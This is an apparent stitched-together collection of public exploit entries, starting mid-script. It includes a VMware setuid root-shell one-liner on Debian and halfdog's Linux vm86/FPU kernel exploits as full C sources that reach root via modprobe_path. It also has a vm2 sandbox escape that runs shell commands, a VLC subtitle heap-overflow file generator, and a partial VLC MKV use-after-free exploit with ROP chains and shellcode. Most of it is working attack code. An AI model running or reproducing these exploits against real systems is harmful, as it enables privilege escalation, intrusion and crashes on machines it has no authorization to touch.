    if is_port_open(args.ip, port):
        # The port is open, send a GET request to the port and check the status code
        response = requests.get(f"http://{args.ip}:{port}")
        if response.status_code == 200:
            # The port is open and vulnerable
            print(f"Port {port} is vulnerable to CVE-2023-34060")
            # Create a thread to exploit the device
            thread = threading.Thread(target=exploit_device, args=(args.ip, port, args.username, args.password, args.command))
            # Start the thread
            thread.start()
        else:
            # The port is open but not vulnerable
            print(f"Port {port} is not vulnerable to CVE-2023-34060")
    else:
        # The port is closed
        print(f"Port {port} is closed")
            
// Source: http://blog.cmpxchg8b.com/2013/08/security-debianisms.html

On most modern Linux systems, /bin/sh is provided by bash, which detects that it's being invoked as sh, and attempts to mimic traditional sh. As everyone who works in security quickly learns, bash will drop privileges very early if uid != euid. 

 488
 489   if (running_setuid && privileged_mode == 0)
 490     disable_priv_mode ();
 491

Where disable_priv_mode is defined as:

1202 void
1203 disable_priv_mode ()
1204 {
1205   setuid (current_user.uid);
1206   setgid (current_user.gid);
1207   current_user.euid = current_user.uid;
1208   current_user.egid = current_user.gid;
1209 }

Non-Linux systems tend to use pdksh as /bin/sh, which also supports privmode since version 5.0.5:

 307     /* Turning off -p? */
 308     if (f == FPRIVILEGED && oldval && !newval) {
 309 #ifdef OS2
 310         ;
 311 #else /* OS2 */
 312         setuid(ksheuid = getuid());
 313         setgid(getgid());
 314 #endif /* OS2 */
 315     } else if (f == FPOSIX && newval) {


This is surprisingly effective at mitigating some common vulnerability classes and misconfigurations. Indeed, Chet Ramey (bash author and maintainer) explains that the purpose of this is to prevent "bogus system(3) calls in setuid executables", see section 7 of the bash NOTES file.

However, this never really happens on Debian derived systems. Debian (and therefore Ubuntu) will use dash by default (see https://wiki.debian.org/DashAsBinSh), or disable it with this patch if you choose to use bash:

http://patch-tracker.debian.org/patch/series/view/bash/4.2+dfsg-0.1/privmode.diff

A nice example of this failing can be observed in the VMware utilities, which try to invoke lsb_release with popen() to learn about the current execution environment. This means you can get a nice easy root shell like this on any Debian/Ubuntu derived system with VMware installed:

$ cc -xc - -olsb_release<<<'main(){system("sh>`tty` 2>&1");}';PATH=.:$PATH vmware-mount
# whoami
root

It looks like Debian originally decided they didn't want privmode because it broke UUCP (!?).

http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=52586

VMware do list Debian/Ubuntu as supported host platforms though, so they have published a fix for this issue today. If you care about this and can't wait for the patch, you can temporarily remove the setuid bit from vmware-mount like this:

# chmod u-s /usr/bin/vmware-mount

Note that it is almost impossible to use popen() or system() safely in a setuid program without privmode, even if you specify the full path. This is a fun example from back in 2005, but there are lots more cases.

In conclusion, too bad if an otherwise unexploitable bug becomes exploitable, that's the price you pay for high quality uucp support in 2013 ;-)

P.S. If you don't know what uucp is, you can read more about it on fidonet or at my gopher site.
P.P.S. I sent the dash maintainers a patch today, but I'm not sure if they're interested.
            
Source: http://www.halfdog.net/Security/2013/Vm86SyscallTaskSwitchKernelPanic/

## Introduction

Problem description: The initial observation was, that the linux vm86 syscall, which allows to use the virtual-8086 mode from userspace for emulating of old 8086 software as done with dosemu, was prone to trigger FPU errors. Closer analysis showed, that in general, the handling of the FPU control register and unhandled FPU-exception could trigger CPU-exceptions at unexpected locations, also in ring-0 code. Key player is the emms instruction, which will fault when e.g. cr0 has bits set due to unhandled errors. This only affects kernels on some processor architectures, currently only AMD K7/K8 seems to be relevant.

## Methods

Virtual86SwitchToEmmsFault.c (http://www.halfdog.net/Security/2013/Vm86SyscallTaskSwitchKernelPanic/Virtual86SwitchToEmmsFault.c) was the first POC, that triggers kernel-panic via vm86 syscall. Depending on task layout and kernel scheduler timing, the program might just cause an OOPS without heavy side-effects on the system. OOPS might happen up to 1min after invocation, depending on the scheduler operation and which of the other tasks are using the FPU. Sometimes it causes recursive page faults, thus locking up the entire machine.

To allow reproducible tests on at least a local machine, the random code execution test tool (Virtual86RandomCode.c - http://www.halfdog.net/Security/2013/Vm86SyscallTaskSwitchKernelPanic/Virtual86RandomCode.c) might be useful. It still uses the vm86-syscall, but executes random code, thus causing the FPU and task schedule to trigger a multitude of faults and to faster lock-up the system. When executed via network, executed random data can be recorded and replayed even when target machine locks up completely. Network test:

socat TCP4-LISTEN:1234,reuseaddr=1,fork=1 EXEC:./Virtual86RandomCode,nofork=1

tee TestInput < /dev/urandom | socat - TCP4:x.x.x.x:1234 > ProcessedBlocks

An improved version allows to bring the FPU into the same state without using the vm86-syscall. The key instruction is fldcw (floating point unit load control word). When enabling exceptions in one process just before exit, the task switch of two other processes later on might fail. It seems that due to that failure, the task->nsproxy ends up being NULL, thus causing NULL-pointer dereference in exit_shm during do_exit.
When the NULL-page is mapped, the NULL-dereference could be used to fake a rw-semaphore data structure. In exit_shm, the kernel attemts to down_write the semaphore, which adds the value 0xffff0001 at a user-controllable location. Since the NULL-dereference does not allow arbitrary reads, the task memory layout is unknown, thus standard change of EUID of running task is not possible. Apart from that, we are in do_exit, so we would have to change another task. A suitable target is the shmem_xattr_handlers list, which is at an address known from System.map. Usually it contains two valid handlers and a NULL value to terminate the list. As we are lucky, the value after NULL is 1, thus adding 0xffff0001 to the position of the NULL-value plus 2 will will turn the NULL into 0x10000 (the first address above mmap_min_addr) and the following 1 value into NULL, thus terminating the handler list correctly again.
The code to perform those steps can be found in FpuStateTaskSwitchShmemXattrHandlersOverwriteWithNullPage.c (http://www.halfdog.net/Security/2013/Vm86SyscallTaskSwitchKernelPanic/FpuStateTaskSwitchShmemXattrHandlersOverwriteWithNullPage.c)

The modification of the shmem_xattr_handlers list is completely silent (could be a nice data-only backdoor) until someone performs a getxattr call on a mounted tempfs. Since such a file-system is mounted by default at /run/shm, another program can turn this into arbitrary ring-0 code execution. To avoid searching the process list to give EUID=0, an alternative approach was tested. When invoking the xattr-handlers, a single integer value write to another static address known from System.map (modprobe_path) will change the default modprobe userspace helper pathname from /sbin/modprobe to /tmp//modprobe. When unknown executable formats or network protocols are requested, the program /tmp//modprobe is executed as root, this demo just adds a script to turn /bin/dd into a SUID-binary. dd could then be used to modify libc to plant another backdoor there. The code to perform those steps can be found in ManipulatedXattrHandlerForPrivEscalation.c (http://www.halfdog.net/Security/2013/Vm86SyscallTaskSwitchKernelPanic/ManipulatedXattrHandlerForPrivEscalation.c).




--- Virtual86SwitchToEmmsFault.c ---
/** This software is provided by the copyright owner "as is" and any
 *  expressed or implied warranties, including, but not limited to,
 *  the implied warranties of merchantability and fitness for a particular
 *  purpose are disclaimed. In no event shall the copyright owner be
 *  liable for any direct, indirect, incidential, special, exemplary or
 *  consequential damages, including, but not limited to, procurement
 *  of substitute goods or services, loss of use, data or profits or
 *  business interruption, however caused and on any theory of liability,
 *  whether in contract, strict liability, or tort, including negligence
 *  or otherwise, arising in any way out of the use of this software,
 *  even if advised of the possibility of such damage.
 *
 *  Copyright (c) 2013 halfdog <me (%) halfdog.net>
 *
 *  This progam maps memory pages to the low range above 64k to
 *  avoid conflicts with /proc/sys/vm/mmap_min_addr and then
 *  triggers the virtual-86 mode. Due to unhandled FPU errors,
 *  task switch will fail afterwards, kernel will attempt to
 *  kill other tasks when switching.
 *
 *  gcc -o Virtual86SwitchToEmmsFault Virtual86SwitchToEmmsFault.c
 *
 *  See http://www.halfdog.net/Security/2013/Vm86SyscallTaskSwitchKernelPanic/ for more information.
 */

#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/vm86.h>
#include <unistd.h>


static const char *DEDICATION="To the most adorable person met so far.";


static void handleSignal(int value, siginfo_t *sigInfo, void *context) {
  fprintf(stderr, "Handling signal\n");
}


void runTest(void *realMem) {
  struct vm86plus_struct vm86struct;
  int		result;

  memset(&vm86struct, 0, sizeof(vm86struct));
  vm86struct.regs.eip=0x0;
  vm86struct.regs.cs=0x1000;
// IF_MASK|IOPL_MASK
  vm86struct.regs.eflags=0x3002;

  vm86struct.regs.esp=0x400;
  vm86struct.regs.ss=0x1000;
  vm86struct.regs.ebp=vm86struct.regs.esp;
  vm86struct.regs.ds=0x1000;
  vm86struct.regs.fs=0x1000;
  vm86struct.regs.gs=0x1000;
  vm86struct.flags=0x0L;
  vm86struct.screen_bitmap=0x0L;
  vm86struct.cpu_type=0x0L;
 
  alarm(1);
  
  result=vm86(VM86_ENTER, &vm86struct);
  if(result) {
    fprintf(stderr, "vm86 failed, error %d (%s)\n", errno,
        strerror(errno));
  }
}


int main(int argc, char **argv) {
  struct sigaction sigAction;

  int		realMemSize=1<<20;
  void		*realMem;
  int		result;

  sigAction.sa_sigaction=handleSignal;
  sigfillset(&sigAction.sa_mask);
  sigAction.sa_flags=SA_SIGINFO;
  sigAction.sa_restorer=NULL;
  sigaction(SIGILL, &sigAction, NULL); // 4
  sigaction(SIGFPE, &sigAction, NULL); // 8
  sigaction(SIGSEGV, &sigAction, NULL); // 11
  sigaction(SIGALRM, &sigAction, NULL); // 14

  realMem=mmap((void*)0x10000, realMemSize, PROT_EXEC|PROT_READ|PROT_WRITE,
      MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
  if(realMem==(void*)-1) {
    fprintf(stderr, "Failed to map real-mode memory space\n");
    return(1);
  }

  memset(realMem, 0, realMemSize);
  memcpy(realMem, "\xda\x44\x00\xd9\x2f\xae", 6);

  runTest(realMem);
}
--- EOF ---

--- Virtual86RandomCode.c ---
/** This software is provided by the copyright owner "as is" and any
 *  expressed or implied warranties, including, but not limited to,
 *  the implied warranties of merchantability and fitness for a particular
 *  purpose are disclaimed. In no event shall the copyright owner be
 *  liable for any direct, indirect, incidential, special, exemplary or
 *  consequential damages, including, but not limited to, procurement
 *  of substitute goods or services, loss of use, data or profits or
 *  business interruption, however caused and on any theory of liability,
 *  whether in contract, strict liability, or tort, including negligence
 *  or otherwise, arising in any way out of the use of this software,
 *  even if advised of the possibility of such damage.
 *
 *  Copyright (c) 2013 halfdog <me (%) halfdog.net>
 *
 *  This progam maps memory pages to the low range above 64k to
 *  avoid conflicts with /proc/sys/vm/mmap_min_addr and then
 *  triggers the virtual-86 mode.
 *
 *  gcc -o Virtual86RandomCode Virtual86RandomCode.c
 *
 *  Usage: ./Virtual86RandomCode < /dev/urandom > /dev/null
 *
 *  See http://www.halfdog.net/Security/2013/Vm86SyscallTaskSwitchKernelPanic/ for more information.
 */

#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/vm86.h>
#include <unistd.h>


static const char *DEDICATION="To the most adorable person met so far.";


static void handleSignal(int value, siginfo_t *sigInfo, void *context) {
  fprintf(stderr, "Handling signal\n");
}


int readFully(int inputFd, void *data, int length) {
  int readLength=0;
  int result;

  while(length) {
    result=read(inputFd, data, length);
    if(result<0) {
      if(!readLength) readLength=result;
      break;
    }
    readLength+=result;
    length-=result;
    data+=result;
  }
  return(readLength);
}


void runTest(void *realMem) {
  struct vm86plus_struct	vm86struct;
  int		result;


  memset(&vm86struct, 0, sizeof(vm86struct));
  vm86struct.regs.eip=0x0;
  vm86struct.regs.cs=0x1000;
// IF_MASK|IOPL_MASK
  vm86struct.regs.eflags=0x3002;

// Do not use stack above 
  vm86struct.regs.esp=0x400;
  vm86struct.regs.ss=0x1000;
  vm86struct.regs.ebp=vm86struct.regs.esp;
  vm86struct.regs.ds=0x1000;
  vm86struct.regs.fs=0x1000;
  vm86struct.regs.gs=0x1000;
  vm86struct.flags=0x0L;
  vm86struct.screen_bitmap=0x0L;
  vm86struct.cpu_type=0x0L;
 
  alarm(1);
  
  result=vm86(VM86_ENTER, &vm86struct);
  if(result) {
    fprintf(stderr, "vm86 failed, error %d (%s)\n", errno,
        strerror(errno));
  }
}


int main(int argc, char **argv) {
  struct sigaction sigAction;

  int		realMemSize=1<<20;
  void		*realMem;
  int		randomFd=0;
  int		result;

  sigAction.sa_sigaction=handleSignal;
  sigfillset(&sigAction.sa_mask);
  sigAction.sa_flags=SA_SIGINFO;
  sigAction.sa_restorer=NULL;
  sigaction(SIGILL, &sigAction, NULL); // 4
  sigaction(SIGFPE, &sigAction, NULL); // 8
  sigaction(SIGSEGV, &sigAction, NULL); // 11
  sigaction(SIGALRM, &sigAction, NULL); // 14

  realMem=mmap((void*)0x10000, realMemSize, PROT_EXEC|PROT_READ|PROT_WRITE,
      MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
  if(realMem==(void*)-1) {
    fprintf(stderr, "Failed to map real-mode memory space\n");
    return(1);
  }

  result=readFully(randomFd, realMem, realMemSize);
  if(result!=realMemSize) {
    fprintf(stderr, "Failed to read random data\n");
    return(0);
  }

  write(1, &result, 4);
  write(1, realMem, realMemSize);
  while(1) {
    runTest(realMem);

    result=readFully(randomFd, realMem, 0x1000);
    write(1, &result, 4);
    write(1, realMem, result);
  }
}
--- EOF ---

--- FpuStateTaskSwitchShmemXattrHandlersOverwriteWithNullPage.c ---
/** This software is provided by the copyright owner "as is" and any
 *  expressed or implied warranties, including, but not limited to,
 *  the implied warranties of merchantability and fitness for a particular
 *  purpose are disclaimed. In no event shall the copyright owner be
 *  liable for any direct, indirect, incidential, special, exemplary or
 *  consequential damages, including, but not limited to, procurement
 *  of substitute goods or services, loss of use, data or profits or
 *  business interruption, however caused and on any theory of liability,
 *  whether in contract, strict liability, or tort, including negligence
 *  or otherwise, arising in any way out of the use of this software,
 *  even if advised of the possibility of such damage.
 *
 *  Copyright (c) 2014 halfdog <me (%) halfdog.net>
 *
 *  This progam maps a NULL page to exploit a kernel NULL-dereferences,
 *  Usually that will not work due to sane /proc/sys/vm/mmap_min_addr
 *  settings. An unhandled FPU error causes part of task switching
 *  to fail resulting in NULL-pointer dereference. This can be
 *  used to add 0xffff0001 to an arbitrary memory location, one
 *  of the entries in shmem_xattr_handlers is quite suited because
 *  it has a static address, which can be found in System.map.
 *  Another tool (ManipulatedXattrHandlerForPrivEscalation.c)
 *  could then be used to invoke the xattr handlers, thus giving
 *  local root privilege escalation.
 *
 *  gcc -o FpuStateTaskSwitchShmemXattrHandlersOverwriteWithNullPage FpuStateTaskSwitchShmemXattrHandlersOverwriteWithNullPage.c
 *
 *  See http://www.halfdog.net/Security/2013/Vm86SyscallTaskSwitchKernelPanic/ for more information.
 */

#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <unistd.h>


static const char *DEDICATION="To the most adorable person met so far.";



int main(int argc, char **argv) {
  int		childPid;
  int		sockFds[2];
  int		localSocketFd;
  int		requestCount;
  int		result;


// Cleanup beforehand to avoid interference from previous run
  asm volatile (
    "emms;"
    : // output (0)
    :
    :
  );

  childPid=fork();
  if(childPid>0) {
    mmap((void*)0, 1<<12, PROT_EXEC|PROT_READ|PROT_WRITE,
         MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);

// down_write just adds 0xffff0001 at location offset +0x6c of
// the memory address given below. shmem_xattr_handlers handlers are
// at 0xc150ae1c and contain two valid handlers, terminated by
// a NULL value. As we are lucky, the value after NULL is 1, thus
// adding 0xffff0001 shmem_xattr_handlers + 0x6c + 0xa will turn
// the NULL into 0x10000 and the following 1 into NULL, hence
// the handler list is terminated correctly again.
    *((int*)0x8)=0xc150adba;

    result=socketpair(AF_UNIX, SOCK_STREAM, 0, sockFds);

    result=fork();
    close(sockFds[result?1:0]);
    localSocketFd=sockFds[result?0:1];
    asm volatile (
      "emms;"
      : // output (0)
      :
      :
    );

    fprintf(stderr, "Playing task switch ping-pong ...\n");
// This might be too short on faster CPUs?
    for(requestCount=0x10000; requestCount; requestCount--) {
      result=write(localSocketFd, sockFds, 4);
      if(result!=4) break;
      result=read(localSocketFd, sockFds, 4);
      if(result!=4) break;
      asm volatile (
        "fldz;"
        "fldz;"
        "fdivp;"
        : // output (0)
        :
        :
      );
    }
    close(localSocketFd);
    fprintf(stderr, "Switch loop terminated\n");

// Cleanup afterwards
    asm volatile (
      "emms;"
      : // output (0)
      :
      :
    );

    return(0);
  }

  usleep(10000);

// Enable FPU exceptions
  asm volatile (
    "fdivp;"
    "fstcw %0;"
    "andl $0xffc0, %0;"
    "fldcw %0;"
    : "=m"(result) // output (0)
    :
    :"%eax" // Clobbered register
  );

// Terminate immediately, this seems to improve results
  return(0);
}
--- EOF ---

--- ManipulatedXattrHandlerForPrivEscalation.c ---
/** This software is provided by the copyright owner "as is" and any
 *  expressed or implied warranties, including, but not limited to,
 *  the implied warranties of merchantability and fitness for a particular
 *  purpose are disclaimed. In no event shall the copyright owner be
 *  liable for any direct, indirect, incidential, special, exemplary or
 *  consequential damages, including, but not limited to, procurement
 *  of substitute goods or services, loss of use, data or profits or
 *  business interruption, however caused and on any theory of liability,
 *  whether in contract, strict liability, or tort, including negligence
 *  or otherwise, arising in any way out of the use of this software,
 *  even if advised of the possibility of such damage.
 *
 *  Copyright (c) 2014 halfdog <me (%) halfdog.net>
 *
 *  This progam prepares memory so that the manipulated shmem_xattr_handlers
 *  (see FpuStateTaskSwitchShmemXattrHandlersOverwriteWithNullPage.c)
 *  will be read from here, thus giving ring-0 code execution.
 *  To avoid fiddling with task structures, this will overwrite
 *  just 4 bytes of modprobe_path, which is used by the kernel
 *  when unknown binary formats or network protocols are requested.
 *  In the end, when executing an unknown binary format, the modified
 *  modprobe script will just turn "/bin/dd" to be SUID, e.g. to
 *  own libc later on.
 *
 *  gcc -o ManipulatedXattrHandlerForPrivEscalation ManipulatedXattrHandlerForPrivEscalation.c
 *
 *  See http://www.halfdog.net/Security/2013/Vm86SyscallTaskSwitchKernelPanic/ for more information.
 */

#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>


static const char *DEDICATION="To the most adorable person met so far.";


int main(int argc, char **argv) {
  void *handlerPage;
  int	*handlerStruct;
  void	*handlerCode;
  char	*modprobeCommands="#!/bin/sh\nchmod u+s /bin/dd\n";

  int	result;

  handlerStruct=(int*)0x10000;
  handlerPage=mmap((void*)(((int)handlerStruct)&0xfffff000), 1<<12,
      PROT_EXEC|PROT_READ|PROT_WRITE,
      MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0);
  if(handlerPage==(void*)-1) {
    fprintf(stderr, "Failed to map handler page\n");
    return(1);
  }
  fprintf(stderr, "Handler page at %p\n", handlerPage);

  *handlerStruct=(int)(handlerStruct+0x10); // Prefix pointer
  strcpy((char*)(handlerStruct+0x10), "system"); // Prefix value

  handlerCode=(void*)(handlerStruct+0x100);
  *(handlerStruct+0x2)=(int)handlerCode; // list
  *(handlerStruct+0x3)=(int)handlerCode; // get
  *(handlerStruct+0x4)=(int)handlerCode; // set

// Switch the modprobe helper path from /sbin to /tmp. Address is
// known from kernel version's symbols file
  memcpy(handlerCode, "\xb8\xa1\x2d\x50\xc1\xc7\x00tmp/\xc3", 12);

  result=getxattr("/run/shm/", "system.dont-care", handlerPage, 1);
  fprintf(stderr, "Setattr result: 0x%x, error %d (%s)\n", result,
      errno, strerror(errno));

  result=open("/tmp/modprobe", O_RDWR|O_CREAT, S_IRWXU|S_IRWXG|S_IRWXO);
  write(result, modprobeCommands, strlen(modprobeCommands));
  close(result);

// Create a pseudo-binary with just NULL bytes, executing it will
// trigger the binfmt module loading
  result=open("/tmp/dummy", O_RDWR|O_CREAT, S_IRWXU|S_IRWXG|S_IRWXO);
  memset(handlerPage, 0, 1<<12);
  write(result, handlerPage, 1<<12);
  close(result);
  *(int*)handlerPage=(int)"/tmp/dummy";
  execve("/tmp/dummy", handlerPage, NULL);
  return(0);
}
--- EOF ---
            
HireHackking

vm2 - sandbox escape

/*
# Exploit Title: vm2 Sandbox Escape vulnerability
# Date: 23/12/2023
# Exploit Author: Calil Khalil & Adriel Mc Roberts
# Vendor Homepage: https://github.com/patriksimek/vm2
# Software Link: https://github.com/patriksimek/vm2
# Version: vm2 <= 3.9.19
# Tested on: Ubuntu 22.04
# CVE : CVE-2023-37466
*/

const { VM } = require("vm2");
const vm = new VM();

const command = 'pwd'; // Change to the desired command

const code = `
async function fn() {
    (function stack() {
        new Error().stack;
        stack();
    })();
}

try {
    const handler = {
        getPrototypeOf(target) {
            (function stack() {
                new Error().stack;
                stack();
            })();
        }
    };

    const proxiedErr = new Proxy({}, handler);

    throw proxiedErr;
} catch ({ constructor: c }) {
    const childProcess = c.constructor('return process')().mainModule.require('child_process');
    childProcess.execSync('${command}');
}
`;

console.log(vm.run(code));
            
"""
VLC Media Player/Kodi/PopcornTime 'Red Chimera' < 2.2.5 Memory Corruption (PoC)
Author: SivertPL (kroppoloe@protonmail.ch)
CVE: CVE-2017-8311

Infamous VLC/Kodi/PopcornTime subtitle attack in libsubtitle_plugin.dll.
This is the Proof of Concept of the reverse engineered heap corruption vulnerability affecting JacoSUB parsing in VLC/Kodi/PopcornTime.
The crash is exploitable, but hard to exploit because of various environmental constraints such as threading/mitigations/scriptless.
I want to join a research team.
"""

"""
ModLoad: 00000000`71660000 00000000`716a2000   C:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libmp4_plugin.dll
ModLoad: 00000000`71630000 00000000`71651000   C:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libavi_plugin.dll
ModLoad: 00000000`71610000 00000000`7162e000   C:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libasf_plugin.dll
ModLoad: 00000000`71600000 00000000`7160d000   C:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libdemux_cdg_plugin.dll
ModLoad: 00000000`715e0000 00000000`715fd000   C:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libvobsub_plugin.dll
ModLoad: 00000000`715d0000 00000000`715de000   C:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libdemux_stl_plugin.dll
ModLoad: 00000000`715b0000 00000000`715cf000   C:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libsubtitle_plugin.dll
core demux error: option sub-original-fps does not exist
(33c.d10): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libsubtitle_plugin.dll -
libsubtitle_plugin+0x44de:
715b44de 881f            mov     byte ptr [edi],bl          ds:002b:1b9fb000=??
0:012:x86> g
(33c.d10): Access violation - code c0000005 (!!! second chance !!!)
wow64!Wow64NotifyDebugger+0x1d:
00000000`754ac9f1 654c8b1c2530000000 mov   r11,qword ptr gs:[30h] gs:00000000`00000030=????????????????
"""

import os
import struct
import sys
import argparse

len = 1025

def main(argv):
    parser = argparse.ArgumentParser()
    parser.add_argument("filename", help="Name of the movie file w/o extension, for generating payload")
    parser.add_argument("--length", help="Heap overwrite length (default 1025, may be bigger)", type=int)
    args = parser.parse_args()
    if args.length:
        global len
        len = args.length
    print "[+] Generating file %s.jss with overwrite size of %d" % (args.filename, len)
    write(args.filename, len)

def write(name, len):
    subtitles = open("%s.jss" % name, "w+")
    subtitles.write("0:00:02.00 0:00:04.00 VL red chimera..\n")
    subtitles.write("0:00:04.00 0:00:05.00 vm attack")
    subtitles.write("\\C")
    subtitles.write(struct.pack('B', 0))
    subtitles.write('A' * len)
    subtitles.close()
    print "[+] Done!"

if __name__ == "__main__":
     main(sys.argv[1:])
            
# Exploit Title: VLC media player 2.2.8 - Arbitrary Code Execution PoC
# Date: 2018-06-06
# Exploit Author: Eugene Ng
# Vendor Homepage: https://www.videolan.org/vlc/index.html
# Software Link: http://download.videolan.org/pub/videolan/vlc/2.2.8/win64/vlc-2.2.8-win64.exe
# Version: 2.2.8
# Tested on: Windows 10 x64
# CVE: CVE-2018-11529
#
# 1. Description
#
# VLC media player through 2.2.8 is prone to a Use-After-Free (UAF) vulnerability. This issue allows 
# an attacker to execute arbitrary code in the context of the logged-in user via crafted MKV files. Failed
# exploit attempts will likely result in denial of service conditions.
#
# Exploit can work on both 32 bits and 64 bits of VLC media player.
#
# 2. Proof of Concept
#
# Generate MKV files using python
# Open VLC media player
# Drag and drop poc.mkv into VLC media player (more reliable than double clicking)
#
# 3. Solution
#
# Update to version 3.0.3
# https://get.videolan.org/vlc/3.0.3/win64/vlc-3.0.3-win64.exe

import uuid
from struct import pack

class AttachedFile(object):
    def __init__(self, data):
        self.uid    = '\x46\xae' + data_size(8) + uuid.uuid4().bytes[:8]
        self.name   = '\x46\x6e' + data_size(8) + uuid.uuid4().bytes[:8]
        self.mime   = '\x46\x60' + data_size(24) + 'application/octet-stream'
        self.data   = '\x46\x5c' + data_size(len(data)) + data
        self.header = '\x61\xa7' + data_size(len(self.name) + len(self.data) + len(self.mime) + len(self.uid))

    def __str__(self):
        return self.header + self.name + self.mime + self.uid + self.data

def to_bytes(n, length):
    h = '%x' % n
    s = ('0'*(len(h) % 2) + h).zfill(length*2).decode('hex')
    return s

def data_size(number, numbytes=range(1, 9)):
    # encode 'number' as an EBML variable-size integer.
    size = 0
    for size in numbytes:
        bits = size*7
        if number <= (1 << bits) - 2:
            return to_bytes(((1 << bits) + number), size)
    raise ValueError("Can't store {} in {} bytes".format(number, size))

def build_data(size, bits, version):
    target_addresses = {
        '64': 0x40000040,
        '32': 0x22000020,
    }
    target_address = target_addresses[bits]

    exit_pointers = {
        '64': {
            '2.2.8': 0x00412680,
        },
        '32': {
            '2.2.8': 0x00411364,
        }
    }
    pExit = exit_pointers[bits][version]

    rop_gadgets = {
        '64': {
            '2.2.8': [
                0x004037ac,             # XCHG EAX,ESP # ROL BL,90H # CMP WORD PTR [RCX],5A4DH # JE VLC+0X37C0 # XOR EAX,EAX # RET
                0x00403b60,             # POP RCX # RET
                target_address,         # lpAddress
                0x004011c2,             # POP RDX # RET
                0x00001000,             # dwSize
                0x0040ab70,             # JMP VirtualProtect
                target_address + 0x500, # Shellcode
            ],
        },
        '32': {
            '2.2.8': [
                0x0040ae91,             # XCHG EAX,ESP # ADD BYTE PTR [ECX],AL # MOV EAX,DWORD PTR [EAX] # RET
                0x00407086,             # POP EDI # RETN [vlc.exe]
                0x00000040,             # 0x00000040-> edx
                0x0040b058,             # MOV EDX,EDI # POP ESI # POP EDI # POP EBP # RETN [vlc.exe]
                0x41414141,             # Filler (compensate)
                0x41414141,             # Filler (compensate)
                0x41414141,             # Filler (compensate)
                0x004039c7,             # POP EAX # POP ECX # RETN [vlc.exe]
                0x22000030,             # Filler (compensate) for rol [eax] below
                0x41414141,             # Filler (compensate)
                0x004039c8,             # POP ECX # RETN [vlc.exe]
                0x0041193d,             # &Writable location [vlc.exe]
                0x00409d18,             # POP EBX # RETN [vlc.exe]
                0x00000201,             # 0x00000201-> ebx
                0x0040a623,             # POP EBP # RETN [vlc.exe]
                0x0040a623,             # POP EBP # RETN [vlc.exe]
                0x004036CB,             # POP ESI # RETN [vlc.exe]
                0x0040848c,             # JMP ds:[EAX * 4 + 40e000] [vlc.exe]
                0x00407086,             # POP EDI # RETN [vlc.exe]
                0x0040ae95,             # MOV EAX,DWORD PTR [EAX] # RETN [vlc.exe]
                0x0040af61,             # PUSHAD # ROL BYTE PTR [EAX], 0FFH # LOOPNE VLC+0XAEF8 (0040AEF8)
                target_address + 0x5e0, # Shellcode
            ],
        }
    }

    if bits == '64':
        target_address_packed = pack("<Q", target_addresses[bits])
        rop_chain = ''.join(pack('<Q', _) for _ in rop_gadgets[bits][version])

        # https://github.com/peterferrie/win-exec-calc-shellcode/tree/master/build/bin
        # w64-exec-calc-shellcode-esp.bin
        shellcode = (
        "\x66\x83\xe4\xf0\x50\x6a\x60\x5a\x68\x63\x61\x6c\x63\x54\x59\x48"
        "\x29\xd4\x65\x48\x8b\x32\x48\x8b\x76\x18\x48\x8b\x76\x10\x48\xad"
        "\x48\x8b\x30\x48\x8b\x7e\x30\x03\x57\x3c\x8b\x5c\x17\x28\x8b\x74"
        "\x1f\x20\x48\x01\xfe\x8b\x54\x1f\x24\x0f\xb7\x2c\x17\x8d\x52\x02"
        "\xad\x81\x3c\x07\x57\x69\x6e\x45\x75\xef\x8b\x74\x1f\x1c\x48\x01"
        "\xfe\x8b\x34\xae\x48\x01\xf7\x99\xff\xd7"
        # add shellcode to avoid crashes by terminating the process
        # xor rcx, rcx # mov rax, pExit # call [rax]
        "\x48\x31\xc9\x48\xc7\xc0" + pack("<I", pExit) + "\xff\x10")

        if size == 0x180:
            UAF_object = '\x41'
            while len(UAF_object) < size:
                UAF_object += UAF_object
            UAF_object = UAF_object[:size]
            UAF_object = UAF_object[:0x30] + target_address_packed + UAF_object[0x38:]
            UAF_object = UAF_object[:0x38] + pack("<Q", target_address + 0x10000) + UAF_object[0x40:]
            UAF_object = UAF_object[:0x168] + pack("<Q", target_address + 0x3c0) + UAF_object[0x170:]
            UAF_object = UAF_object[:0x170] + target_address_packed + UAF_object[0x178:]
            return UAF_object
        else:
            block = '\x00'
            block_size = 0x1000
            while len(block) < block_size:
                block += block
            block = block[:block_size]
            block = block[:0x0] + '\x41' * 4 + block[0x4:]
            block = block[:0x8] + target_address_packed + block[0x10:]
            block = block[:0x10] + target_address_packed + block[0x18:]
            block = block[:0x40] + pack("<Q", 0x1) + block[0x48:]
            block = block[:0x58] + pack("<Q", target_address + 0x3a8) + block[0x60:]
            block = block[:0xE4] + pack("<Q", 0x1) + block[0xEC:]
            block = block[:0x1b8] + pack("<Q", target_address + 0x80) + block[0x1c0:]
            block = block[:0x3b8] + rop_chain + block[0x3b8+len(rop_chain):]
            block = block[:0x500] + shellcode + block[0x500 + len(shellcode):]
            block = block[:0x6d8] + pack("<Q", target_address + 0x10) + block[0x6e0:]
            while len(block) < size:
                block += block
            return block[:size]
    else:
        target_address_packed = pack("<I", target_addresses[bits])
        rop_chain = ''.join(pack('<I', _) for _ in rop_gadgets[bits][version])

